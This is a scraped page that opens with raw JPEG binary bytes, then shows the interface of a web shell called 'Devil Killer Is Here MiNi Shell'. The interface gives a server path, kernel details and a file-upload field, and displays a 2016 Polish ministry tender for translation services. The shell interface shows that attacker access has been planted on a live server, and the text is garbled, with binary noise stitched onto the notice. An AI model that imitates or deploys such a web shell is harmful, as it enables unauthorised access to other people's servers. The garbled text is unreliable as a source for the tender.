JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20161221/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20161221/371458-N-2016.html

<BR/><p>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia (jeżeli dotyczy):  </p><a class='base announcementNumber' href='http://gospodarkamorska.bip.gov.pl' target='_blank'>http://gospodarkamorska.bip.gov.pl</a><br/><hr class='linkedItemsSeparator' /><div class="divRow_xforms"><div>
              Ogłoszenie nr 371458 - 2016
              z dnia 2016-12-21 r.
            </div><div class="headerMedium_xforms" style="text-align: center">Warszawa: Obsługa Ministerstwa Gospodarki Morskiej i Żeglugi Śródlądowej w zakresie usług tłumaczeniowych i usług dodatkowych<br />
            OGŁOSZENIE O ZAMÓWIENIU -
            
              Usługi
            </div><div><b>Zamieszczanie ogłoszenia:</b>
              obowiązkowe
            </div><div><b>Ogłoszenie dotyczy:</b>
              zamówienia publicznego
            </div><div><b>Zamówienie dotyczy projektu lub programu współfinansowanego ze środków Unii Europejskiej </b><br /><div style="padding-left: 20px">
                tak
              </div><br /><b>Nazwa projektu lub programu</b><br />Program Operacyjny Rybactwo i Morze</div><div><b>O zamówienie mogą ubiegać się wyłącznie zakłady pracy chronionej oraz wykonawcy, których działalność, lub działalność ich wyodrębnionych organizacyjnie jednostek, które będą realizowały zamówienie, obejmuje  społeczną i zawodową integrację osób będących członkami grup społecznie marginalizowanych </b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Należy podać minimalny procentowy wskaźnik zatrudnienia osób należących do jednej lub więcej kategorii, o których mowa w art. 22 ust. 2 ustawy Pzp, nie mniejszy niż 30%, osób zatrudnionych przez zakłady pracy chronionej lub wykonawców albo ich jednostki (w %)
            <br /></div><div class="headerLarge_xforms" style="text-align: left"><u>SEKCJA I: ZAMAWIAJĄCY</u></div><div style="padding-left: 20px"><b>Postępowanie przeprowadza centralny zamawiający </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Postępowanie przeprowadza podmiot, któremu zamawiający powierzył/powierzyli przeprowadzenie postępowania </b><br /><div style="padding-left: 20px">
                nie
              </div><b>Informacje na temat podmiotu któremu zamawiający powierzył/powierzyli prowadzenie postępowania:</b><br /><b>Postępowanie jest przeprowadzane wspólnie przez zamawiających</b><br /><div style="padding-left: 20px">
                nie
              </div><br />
            Jeżeli tak, należy wymienić zamawiających, którzy wspólnie przeprowadzają postępowanie oraz podać adresy ich siedzib, krajowe numery identyfikacyjne oraz osoby do kontaktów wraz z danymi do kontaktów:
            <br /><br /><b>Postępowanie jest przeprowadzane wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej </b><br /><div style="padding-left: 20px">
                nie
              </div><b>W przypadku przeprowadzania postępowania wspólnie z zamawiającymi z innych państw członkowskich Unii Europejskiej  mające zastosowanie krajowe prawo zamówień publicznych:</b><br /><b>Informacje dodatkowe:</b><br /></div><div style="padding-left: 20px;"><div style="text-align: left"><b>I. 1) NAZWA I ADRES: </b>Ministerstwo Gospodarki Morskiej i Żeglugi Śródlądowej, krajowy numer identyfikacyjny
              36318962500000, ul.
              ul. Nowy Świat 
              6/12,
              00-400  
              Warszawa, woj.
              mazowieckie, państwo
              Polska, tel.
              22 583 88 28, e-mail
              zamowieniapubliczne@mgm.gov.pl, faks
              22 583 88 50.
              <br />
              Adres strony internetowej (URL): www.mgm.gov.pl<br />
                Adres profilu nabywcy:

                nie dotyczy<br />
                Adres strony internetowej pod którym można uzyskać dostęp do narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne
                nie dotyczy</div><div style="text-align: left"><b>I. 2) RODZAJ ZAMAWIAJĄCEGO: </b>
                Administracja rządowa centralna
              </div><div style="text-align: left"><b>
                I.3) WSPÓLNE UDZIELANIE ZAMÓWIENIA <i>(jeżeli dotyczy)</i>:
              </b><div style="padding-left: 20px">
                Podział obowiązków między zamawiającymi w przypadku wspólnego przeprowadzania postępowania, w tym
                w przypadku wspólnego przeprowadzania postępowania z zamawiającymi z innych państw członkowskich Unii Europejskiej (który z zamawiających jest odpowiedzialny za przeprowadzenie postępowania, czy i w jakim zakresie za przeprowadzenie postępowania odpowiadają pozostali zamawiający, czy zamówienie będzie udzielane przez każdego z zamawiających indywidualnie, czy zamówienie zostanie udzielone w imieniu i na rzecz pozostałych zamawiających):
                <br />nie dotyczy</div></div><div style="text-align: left"><b>
                I.4) KOMUNIKACJA:
              </b><br /><b>Nieograniczony, pełny i bezpośredni dostęp do dokumentów z postępowania można uzyskać pod adresem (URL)</b><div style="padding-left: 20px">
                  nie
                <br /></div><br /><b>Adres strony internetowej, na której zamieszczona będzie specyfikacja istotnych warunków zamówienia </b><div style="padding-left: 20px">
                  tak
                <br />gospodarkamorska.bip.gov.pl</div><br /><b>Dostęp do dokumentów z postępowania jest ograniczony - więcej informacji można uzyskać pod adresem </b><div style="padding-left: 20px">
                  nie
                <br /></div><br /><b>Oferty lub wnioski o dopuszczenie do udziału w postępowaniu należy przesyłać:</b><br /><b>Elektronicznie</b><div style="padding-left: 20px">
                  nie
                <br />
                adres
                <br /></div><br /><div style="padding-left: 20px"><b>Dopuszczone jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  nie
                <br /><b>Wymagane jest przesłanie ofert lub wniosków o dopuszczenie do udziału w postępowaniu w inny sposób:</b><br />
                  tak
                  <br />
                  Inny sposób:
                  <br />w formie pisemnej, zgodnie z zasadami okreslonymi w rozdziale 7 SIWZ<br />
                Adres:
                <br />Ministerstwo Gospodarki Morskiej i Żeglugi Śródlądowej, ul. Nowy Świat 6/12, 00-400 Warszawa (Kancelaria Główna Ministerstwa Gospodarki Morskiej i Żeglugi Śródlądowej)</div><br /><b>Komunikacja elektroniczna wymaga korzystania z narzędzi i urządzeń lub formatów plików, które nie są ogólnie dostępne</b><div style="padding-left: 20px">
                  nie
                <br />
                Nieograniczony, pełny, bezpośredni i bezpłatny dostęp do tych narzędzi można uzyskać pod adresem: (URL)
                <br /></div></div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA II: PRZEDMIOT ZAMÓWIENIA
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><br /><b>II.1) Nazwa nadana zamówieniu przez zamawiającego: </b>Obsługa Ministerstwa Gospodarki Morskiej i Żeglugi Śródlądowej w zakresie usług tłumaczeniowych i usług dodatkowych<br /><b>Numer referencyjny: </b>BDG.III.2511.24.2016.MCH<br /><b>Przed wszczęciem postępowania o udzielenie zamówienia przeprowadzono dialog techniczny </b><br /><div style="padding-left: 20px; text-align: justify">
                  nie
                </div><br /><b>II.2) Rodzaj zamówienia: </b>
                usługi
              <br /><b>II.3) Informacja o możliwości składania ofert częściowych</b><br />
              Zamówienie podzielone jest na części:
              <br /><div style="padding-left: 20px">
                  Nie
                </div><br /><br /><b>
                II.4) Krótki opis przedmiotu zamówienia
              </b><i>(wielkość, zakres, rodzaj i ilość dostaw, usług lub robót budowlanych lub określenie zapotrzebowania i wymagań )</i><b> a w przypadku partnerstwa innowacyjnego - określenie zapotrzebowania na innowacyjny produkt, usługę lub roboty budowlane:
              </b>W ramach zamówienia Wykonawca będzie zobowiązany do świadczenia następujących usług: 
1.	Tłumaczenia ustne: symultaniczne, konsekutywne (w tym szeptane) i konsekutywno-symultaniczne.
2.	Tłumaczenie pisemne wraz z weryfikacją
­3.	Tłumaczenie przysięgłe
4.	Weryfikacja językowa
­5.	Weryfikacja specjalistyczna
6.	Usługa ujednolicania tekstów
7.	Usługa DTP towarzysząca usługom tłumaczenia pisemnego wraz z weryfikacją, przysięgłego, weryfikacji językowej i specjalistycznej oraz ujednolicaniu tekstów
­	<br /><br /><b>II.5) Główny kod CPV: </b>79530000-8<br /><b> Dodatkowe kody CPV:</b>79540000-1,
                32342400-6<br /><b>
                II.6) Całkowita wartość zamówienia </b><i>(jeżeli zamawiający podaje informacje o wartości zamówienia)</i>:
              
              <br />
              Wartość bez VAT:
              430487.80<br />
              Waluta:
              <br /><div style="padding-left: 20px">PLN<br /><i>(w przypadku umów ramowych lub dynamicznego systemu zakupów  szacunkowa całkowita maksymalna wartość w całym okresie obowiązywania umowy ramowej lub dynamicznego systemu zakupów)</i></div><br /><b>
                II.7)
                Czy przewiduje się udzielenie zamówień, o których mowa w art. 67 ust. 1 pkt 6 i 7  lub w art. 134 ust. 6 pkt 3  ustawy Pzp:
              </b>
                nie
              <br /><b>II.8) Okres, w którym realizowane będzie zamówienie lub okres, na który została zawarta umowa ramowa lub okres, na który został ustanowiony dynamiczny system zakupów:</b><div style="padding-left: 20px">
                    Okres w miesiącach: 24<br /></div><br /><b>II.9) Informacje dodatkowe: </b>Wykonawca jest zobowiązany wykonywać zamówienie w terminie 24 miesięcy od zawarcia umowy lub do wyczerpania środków przeznaczonych na sfinansowanie zamówienia, jeżeli środki zostaną wyczerpane przed upływem 24-miesięcznego okresu obowiązywania umowy.</div></div><div class="headerLarge_xforms" style="text-align: left"><u>
              SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM
            </u></div><div style="padding-left: 20px;"><div style="text-align: left"><b>
                III.1) WARUNKI UDZIAŁU W POSTĘPOWANIU
              </b><br /><div style="padding-left: 20px"><b>III.1.1) Kompetencje lub uprawnienia do prowadzenia określonej działalności zawodowej, o ile wynika to z odrębnych przepisów</b><br />
                Określenie warunków:
                nie dotyczy<br />
                Informacje dodatkowe
                <br /><b>III.1.2)  Sytuacja finansowa lub ekonomiczna  </b><br />
                Określenie warunków:
                nie dotyczy<br />
                Informacje dodatkowe
                <br /><b>III.1.3) Zdolność techniczna lub zawodowa </b><br />
                Określenie warunków:
                4.1	O udzielenie zamówienia mogą się ubiegać wykonawcy, którzy:
4.1.3	w zakresie zdolności technicznej lub zawodowej:
A.	w okresie ostatnich trzech lat przed upływem terminu składania ofert (a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie), wykonali (a w przypadku świadczeń okresowych lub ciągłych również wykonują) należycie, usługę lub usługi, których przedmiotem były/są tłumaczenia ustne i/lub pisemne, o łącznej wartości tych usług nie mniejszej niż 200 000 zł brutto. Z zastrzeżeniem, że w ramach tych usług wykonawca należycie wykonał/wykonuje usługę/gi tłumaczeń ustnych o łącznej wartości co najmniej 50 000 zł brutto  i usługę/gi tłumaczeń pisemnych o łącznej wartości co najmniej 50 000 zł brutto.
B.	skierują do realizacji zamówienia zespół osób, w skład którego wejdą osoby pełniące następujące funkcje: 
a.	co najmniej 9 funkcji tłumacza pisemnego wykonującego tłumaczenia pisemne z weryfikacją, weryfikację językową oraz ujednolicanie tekstów (j. angielski - co najmniej 3 funkcje, j. francuski - co najmniej 2 funkcje, j. niemiecki - co najmniej 2 funkcje, j. rosyjski - co najmniej 1 funkcja, j. chiński - co najmniej 1 funkcja),
o następującym wykształceniu, kwalifikacjach i doświadczeniu zawodowym:
1.	ukończone studia wyższe, co najmniej 3-letnie, na kierunku filologicznym lub lingwistycznym języka z grupy A lub B odpowiedniego do pełnionej funkcji 
lub
2.	legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka z grupy A lub B odpowiedniego do pełnionej funkcji, zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages lub równoważnym) 
lub
3.	ukończone studia podyplomowe w zakresie języka z grupy A lub B odpowiedniego do pełnionej funkcji 
lub
4.	posiadanie prawa do wykonywania zawodu tłumacza przysięgłego w zakresie języka z grupy A lub B odpowiedniego do pełnionej funkcji
lub
5.	posiadanie statusu native speakera języka odpowiedniego do pełnionej funkcji oraz co najmniej jedno z poniższych: 
- ukończenie studiów wyższych, co najmniej 3-letnich, na kierunku filologicznym lub lingwistycznym w zakresie języka polskiego,
- ukończenie studiów wyższych w kraju (RP), co najmniej 3-letnich na kierunku, na którym językiem wykładowym był język polski, 
- legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) z języka polskiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages lub równoważnym).
oraz 
niezależnie od powyższych posiadanie doświadczenia zawodowego polegającego na należytym przetłumaczeniu, co najmniej 1000 stron obliczeniowych, o których mowa w rozdz. IV pkt 3 SOPZ (tj. 1800 znaków ze spacjami) w zakresie języka z grupy A lub B odpowiedniego do pełnionej funkcji.
b.	co najmniej 8 funkcji tłumacza ustnego wykonującego tłumaczenia symultaniczne, konsekutywne i konsekutywno-symultaniczne (j. angielski - co najmniej 2 funkcje, j. francuski - co najmniej 2 funkcje, j. niemiecki - co najmniej 2 funkcje, j. rosyjski - co najmniej 1 funkcja, j. chiński - co najmniej 1 funkcja),
o następującym wykształceniu, kwalifikacjach i doświadczeniu zawodowym:
1.	ukończone studia wyższe, co najmniej 3-letnie, na kierunku filologicznym lub lingwistycznym  języka z grupy A lub B odpowiedniego do pełnionej funkcji
lub
2.	legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka z grupy A lub B odpowiedniego do pełnionej funkcji, zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages lub równoważnym)
lub
3.	ukończone studia podyplomowe w zakresie języka z grupy A lub B odpowiedniego do pełnionej funkcji
lub
4.	posiadanie prawa do wykonywania zawodu tłumacza przysięgłego w zakresie języka z grupy A lub C odpowiedniego do pełnionej funkcji
lub
5.	posiadanie statusu native speakera języka odpowiedniego do pełnionej funkcji oraz co najmniej jedno z poniższych:
- ukończenie studiów wyższych, co najmniej 3-letnich, na kierunku filologicznym lub lingwistycznym w zakresie języka polskiego,
- ukończenie studiów wyższych w kraju (RP), co najmniej 3-letnich na kierunku, na którym językiem wykładowym był język polski,
- legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) z języka polskiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages lub równoważnym)
oraz 
niezależnie od powyższego posiadanie doświadczenia zawodowego polegającego na należytym tłumaczeniu ustnym, co najmniej 300 godzin w  zakresie języka z grupy A lub B odpowiedniego do pełnionej funkcji.
c.	co najmniej 5 funkcji tłumacza przysięgłego (co najmniej po jednej funkcji z następujących języków: j. angielski, j. francuski, j. niemiecki, j. rosyjski, j. chiński);
o następującym wykształceniu, kwalifikacjach i doświadczeniu zawodowym:
Posiadanie prawa do wykonywania zawodu tłumacza przysięgłego w myśl ustawy o zawodzie tłumacza przysięgłego (tekst jedn. Dz.U. z 2004 r., Nr 273, poz. 2702 z późn. zm.) w zakresie języka z grupy A lub B odpowiedniego do pełnionej funkcji.
d.	co najmniej 15 funkcji weryfikatorów specjalistycznych (po 1 funkcji z następujących dziedzin: 
- transportu morskiego i żeglugi śródlądowej,
- rybołówstwa,
- prawa, w tym w szczególności prawa międzynarodowego, 
dla każdego z języków: j. angielski,  j. francuski, j. niemiecki, j. rosyjski, j. chiński),  
o następującym wykształceniu, kwalifikacjach i doświadczeniu zawodowym:
1.	ukończone studia wyższe, co najmniej 3-letnie, na kierunku filologicznym lub lingwistycznym (w kraju lub za granicą) języka z grupy A lub B odpowiedniego do pełnionej funkcji  
lub
2.	legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka z grupy A lub B odpowiedniego do pełnionej funkcji, zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages lub równoważnym)
lub
3.	ukończone studia podyplomowe (w kraju lub za granicą) w zakresie języka z grupy A lub B odpowiedniego do pełnionej funkcji  
lub
4.	posiadanie prawa do wykonywania zawodu tłumacza przysięgłego w zakresie języka z grupy A lub B odpowiedniego do pełnionej funkcji  
lub
5.	posiadanie statusu native speakera języka odpowiedniego do pełnionej funkcji oraz jedno z poniższych: 
- ukończenie studiów wyższych, co najmniej 3-letnich, na kierunku filologicznym lub lingwistycznym w zakresie języka polskiego (w kraju lub za granicą),
- ukończenie studiów wyższych w kraju (RP), co najmniej 3-letnich na kierunku, na którym językiem wykładowym był język polski,
- legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) z języka polskiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages lub równoważnym). 
oraz
niezależnie od powyższego posiadanie doświadczenia zawodowego polegającego na należytej weryfikacji, co najmniej 500 stron obliczeniowych, o których mowa w rozdz. IV pkt 3 SOPZ (tj. 1800 znaków ze spacjami), o tematyce z zakresu transportu morskiego i  żeglugi śródlądowej i/lub rybołówstwa i/lub prawa, w tym w szczególności prawa międzynarodowego, odpowiednio do pełnionej funkcji, w zakresie języka z grupy A lub B odpowiedniego do pełnionej funkcji.

W przypadku funkcji tłumacza pisemnego, funkcji tłumacza ustnego i funkcji weryfikatorów specjalistycznych warunek w zakresie wykształcenia i kwalifikacji zawodowych przewiduje kilka alternatywnych sposobów jego spełnienia (po pięć alternatyw). Dla wykazania spełniania przez osobę pełniącą daną funkcję warunku udziału w postępowaniu wystarczające jest wykazanie spełniania jednej z alternatyw.

Poszczególne funkcje mogą być łączone (sprawowane przez te same osoby), za wyjątkiem:
- funkcji tłumacza ustnego, która nie może być łączona z funkcją tłumacza ustnego,
- funkcji tłumacza pisemnego, która nie może być łączona z funkcją tłumacza pisemnego w zakresie tego samego języka (np. ta sama osoba nie może sprawować dwóch funkcji tłumacza pisemnego języka angielskiego).

Grupy języków:
Grupa A: 
tłumaczenia z języka polskiego na języki: angielski, francuski, niemiecki, rosyjski oraz z tych języków
na język polski;
Grupa B:
tłumaczenia z pozostałych języków urzędowych Unii Europejskiej, krajów europejskich nie będących członkami UE oraz krajów pozaeuropejskich na język polski oraz z języka polskiego na te języki. Zamawiający przewiduje, że w grupie B zlecenia mogą w szczególności dotyczyć języków: chińskiego, czeskiego, hiszpańskiego, rosyjskiego, ukraińskiego.

Strony obliczeniowe są zdefiniowane jako strony tekstu przekazanego do tłumaczenia pisemnego wraz z weryfikacją, weryfikacji językowej i specjalistycznej, ujednolicania tekstów oraz usługi DTP, a nie strony tekstu, który powstaje po przetłumaczeniu. Jednostką rozliczeniową przyjętą przez Zamawiającego jest 1 strona obliczeniowa. Strona obliczeniowa składa się 1800 znaków (ze spacjami) na podstawie statystyki wyrazów MS Word.
<br />
                Zamawiający wymaga od wykonawców wskazania w ofercie lub we wniosku o dopuszczenie do udziału w postępowaniu imion i nazwisk osób wykonujących czynności przy realizacji zamówienia wraz z informacją o kwalifikacjach zawodowych lub doświadczeniu tych osób:
                
                  tak
                <br />
                Informacje dodatkowe:
                Numeracja zastosowana w pkt. III.1.3) ogłoszenia odpowiada numeracji zastosowanej w SIWZ (wyciąg z SIWZ)</div><b>
                III.2) PODSTAWY WYKLUCZENIA
              </b><br /><div style="padding-left: 20px"><b>III.2.1) Podstawy wykluczenia określone w art. 24 ust. 1  ustawy Pzp</b><br /><b>III.2.2) Zamawiający przewiduje wykluczenie wykonawcy na podstawie art. 24 ust. 5 ustawy Pzp</b>
                  tak
                  <br />
                  Zamawiający przewiduje następujące fakultatywne podstawy wykluczenia:
                <br />
                  (podstawa wykluczenia określona w art. 24 ust. 5 pkt 1 ustawy Pzp)
                <br /></div><b>
                III.3) WYKAZ OŚWIADCZEŃ SKŁADANYCH PRZEZ WYKONAWCĘ W CELU WSTĘPNEGO POTWIERDZENIA, ŻE NIE PODLEGA ON WYKLUCZENIU ORAZ SPEŁNIA WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ SPEŁNIA KRYTERIA SELEKCJI
              </b><br /><div style="padding-left: 20px"><b>
                  Oświadczenie o niepodleganiu wykluczeniu oraz spełnianiu warunków udziału w postępowaniu
                </b><br />
                  tak
                <br /><b>
                  Oświadczenie o spełnianiu kryteriów selekcji
                </b><br />
                  nie
                </div><b>
                III.4) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW , SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 3 USTAWY PZP:
              </b><br /><div style="padding-left: 20px">Odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu potwierdzenia braku podstaw wykluczenia na podstawie art. 24 ust. 5 pkt 1 ustawy (składany w oryginale lub kopii poświadczonej za zgodność z oryginałem).

Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, w odpowiedzi na wezwanie zamawiającego, o którym mowa w pkt 5.3 SIWZ zamiast dokumentów, o których mowa w pkt 5.3.1 SIWZ (odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej)  składa dokument lub dokumenty wystawione w kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania, potwierdzające odpowiednio, że nie otwarto jego likwidacji ani nie ogłoszono upadłości, wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert.

Jeżeli w kraju, w którym wykonawca ma siedzibę lub miejsce zamieszkania lub miejsce zamieszkania ma osoba, której dokument dotyczy, nie wydaje się dokumentów, o których mowa powyżej, zastępuje się je dokumentem zawierającym odpowiednio oświadczenie wykonawcy, ze wskazaniem osoby albo osób uprawnionych do jego reprezentacji, lub oświadczenie osoby, której dokument miał dotyczyć, złożone przed notariuszem lub przed organem sądowym, administracyjnym albo organem samorządu zawodowego lub gospodarczego właściwym ze względu na siedzibę lub miejsce zamieszkania wykonawcy lub miejsce zamieszkania tej osoby. Dokument musi być wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert.</div><b>
                III.5) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 1 USTAWY PZP
              </b><br /><div style="padding-left: 20px"><b>III.5.1) W ZAKRESIE SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU:</b><br />- wykaz usług wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, w okresie ostatnich 3 lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy  w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których usługi zostały wykonane (składany w oryginale, sporządzony według wzoru stanowiącego załącznik nr 4 do SIWZ), oraz załączeniem dowodów określających czy te usługi zostały wykonane lub są wykonywane należycie, przy czym dowodami, o których mowa, są referencje bądź inne dokumenty wystawione przez podmiot, na rzecz którego usługi były wykonywane, a w przypadku świadczeń okresowych lub ciągłych są wykonywane (składane w oryginale lub kopii poświadczonej za zgodność z oryginałem), a jeżeli z uzasadnionej przyczyny o obiektywnym charakterze wykonawca nie jest w stanie uzyskać tych dokumentów  oświadczenie wykonawcy (składane w oryginale); w przypadku świadczeń okresowych lub ciągłych nadal wykonywanych referencje bądź inne dokumenty potwierdzające ich należyte wykonywanie powinny być wydane nie wcześniej niż 3 miesiące przed upływem terminu składania ofert;

- wykazu osób, skierowanych przez wykonawcę do realizacji zamówienia publicznego, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, uprawnień, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia publicznego, a także zakresu wykonywanych przez nie czynności oraz informacją o podstawie do dysponowania tymi osobami (składany w oryginale, sporządzony według wzoru stanowiącego załącznik nr 5 do SIWZ).<br /><b>III.5.2) W ZAKRESIE KRYTERIÓW SELEKCJI:</b><br /></div><b>
                III.6) WYKAZ OŚWIADCZEŃ LUB DOKUMENTÓW SKŁADANYCH PRZEZ WYKONAWCĘ W POSTĘPOWANIU NA WEZWANIE ZAMAWIAJACEGO W CELU POTWIERDZENIA OKOLICZNOŚCI, O KTÓRYCH MOWA W ART. 25 UST. 1 PKT 2 USTAWY PZP
